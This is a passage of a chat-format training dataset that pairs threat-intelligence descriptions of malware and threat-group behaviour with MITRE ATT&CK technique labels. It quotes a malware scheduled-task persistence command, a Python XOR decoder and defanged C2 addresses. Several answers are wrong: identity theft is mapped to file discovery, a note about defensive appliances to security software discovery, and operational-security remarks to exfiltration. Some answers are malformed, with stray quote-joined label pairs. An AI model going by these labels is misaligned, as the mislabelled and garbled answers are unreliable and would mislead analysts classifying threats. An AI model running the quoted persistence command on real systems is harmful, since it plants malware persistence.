                "content": "Once the user enables macros, the macro will perform the following actions:  Displays decoy content Checks for the existence of a file at %APPDATA%\\wscript.exe If %APPDATA%\\wscript.exe does not exist, the macro converts an embedded hex-encoded string into bytes and saves this data to the %APPDATA%\\wscript.exe"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used base64 encoding and ECDH-P256 encryption for scripts and files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windows system WMI data is stored in the WMI common information model (CIM) repository, which consists of several files in the System32\\wbem\\Repository directory"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used Comodo code-signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If this is successful, the malware creates a :0 alternate data stream in the executable and copies the executable’s own contents to the stream. This can be used to restore the executable later. Then the malware replaces the contents of the executable with a copy of itself and launches the service. The file modified time of the executable is also artificially changed to 00:00:00 UTC. The purpose of this time change is so the file can be identified and restored by the decryption tool"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain running services on the victim."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut code modules use various API functions to load and inject code."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used legitimate process names to hide malware including \"svchosst\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used malicious JavaScript to steal payment card data from e-commerce sites."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  2 plug-in uses WMI to gather victim host details."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Two modifications are made to UPX version 3.91:  The magic bytes UPX! in the UPX header are replaced with ASS7, The decompressed code and strings sections are XORed with 0x01"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can inject a suspended thread of its own process into a new process and initiate via the \"ResumeThread\" API."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NBTscan can dump and print whole packet content."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used cmd.exe for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "13 Copy file to adbFle.tmp, and upload it to the C2"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has PE data embedded within JPEG files contained within Word documents."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lurid performs XOR encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy has used SEAL encryption during the initial C2 handshake."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors use the Hunter tool to conduct network service discovery for vulnerable systems."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor can encrypt all non-system files using a hybrid AES-RSA algorithm prior to displaying a ransom note."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can use .NET API calls in the SharpHound ingestor component to pull Active Directory data."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. In particular, review network access for use of mobile USB modems on corporate systems"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The decoded string from the Sch resource is: SchTasks /Create /SC MINUTE /MO 3 /TN “%n%” /TR “wscript %path%” /f The decoded string from the VBS resource is: CreateObject(“WScript.Shell”).Run(“%app%”) The %n% string in the schtasks command above will be replaced with the GUID saved to GDI.bin"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers also ran the nmap utility on the router VM and scanned ports on systems within the restricted segment of the enterprise network. On September 27, the attackers started removing all traces of their activity from the router, using the logrotate utility to set up automatic deletion of log files"
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a variation of the XOR cipher to encrypt files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We found malicious code injected into a JavaScript library provided by Volusion to their client shops. The injected code loaded another JavaScript stored on a Google Storage service. The loaded script is almost a direct copy of a normal JavaScript library but has a credit card skimmer carefully integrated. When customers submit their payment information, the skimmer will copy and send the personal information and credit card details to an exfiltration server belonging to the attackers"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 uses cmd.exe to execute commands and custom backdoors."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete's Machete MSI installer has masqueraded as a legitimate Adobe Acrobat Reader installer."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to collect information about anti-virus software on the victim."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used implants to collect the system language ID of a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can delete files and folders from compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following function written in Python may be used to decode this file:def decode(data): \tout = \"\" \tc = 0 \tfor d in data: \t\tout += chr(ord(d)^c) \t\tc+=1 \treturn outOnce decoded it is discovered that this instance of OceanSalt attempts to communicate with 61.14.210[.]72 on port 7117"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wiarp creates a backdoor through which remote attackers can inject files into running processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of downloading additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can collect a list of anti-virus products installed on a machine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the system name, OS version including service pack, and system install date and sends the information to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used tools to automatically collect system and network configuration information."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use Obfs3, a pluggable transport, to add another layer of encryption and obfuscate TLS."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can collect files, passwords, and other data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RGDoor encrypts files with XOR before sending them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com for its C2. We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. QUADAGENT Analysis The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. If that HTTPS request is not successful, the downloader will issue an HTTP request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. The downloader will use the filename of the script (ex"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can execute \"getinfo\" to enumerate the computer name and OS version of a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes changed the template target of the settings.xml file embedded in the Word document and populated that field with the downloaded URL of the next payload."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has gained access through compromised accounts at cloud solution partners, and used compromised certificates issued by Mimecast to authenticate to Mimecast customer systems."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 used Remexi to collect usernames from the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to add a shortcut file in the Startup folder to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Daniel Bohannon’s Invoke-Obfuscation framework. The group also used files with base64 encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cannon exfiltrates collected data over email via SMTP/S and POP3/S C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can add a SID-History to a user if on a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT collects the victim IP address, MAC address, as well as the victim account domain name."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader adds a Visual Basic script in the Startup folder to deploy the payload."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has developed malware for use in operations, including the creation of infected removable media."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used email for C2 via an Office macro."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InnaputRAT uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identity theft via hijacking user-profiles and stealing their cryptocurrency, or using popular accounts to spread malware and/or scams"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets’ behaviors. In addition, Stealth Falcon displayed above-average operational security throughout the campaign. Stealth Falcon also shows familiarity with creating and maintaining a range of fictitious personas, and registering and managing a significant amount of attack and C2 infrastructure with concern for operational security"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot has been executed via MSHTA application."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can delete all files created during its execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "kills and disables services for Windows Firewall, Windows Security Center, and Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the script triggered a PowerShell stager"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOWDRIFT uses cloud based services for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To install a malicious shim database, the attacker invokes a Microsoft utility called sdbinst.exe through a PowerShell script"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use known credentials to run commands and spawn processes as a domain user account."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For comparison, if we were to inspect Fysbis “RemoteShell” associated strings in one of the stripped variants, we would only see the following:  Figure 3: Sofacy Fysbis stripped binary string references to RemoteShell capability Compare this with what is available from the non-stripped variant:  Figure 4: Sofacy Fysbis non-stripped binary strings referenes to RemoteShell capability Little static analysis gifts like these can help to speed defender enumeration of capabilities and – more importantly – further contribute to correlation and detection across related samples"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the Bazar loader downloads its payload, the Bazar backdoor, it is decrypted using the same method as the aforementioned Team9 variant"
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has exploited CVE-2011-0611 in Adobe Flash Player to gain execution on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of performing remote file transmission."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has a feature to disable Windows Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker has copied a random file from the Windows System32 folder to the \"%APPDATA%\" location under a different hidden filename."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UPPERCUT has the capability to gather the victim's proxy information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has used the GetAdaptersInfo() API call to get the victim's MAC address."
            },
            {
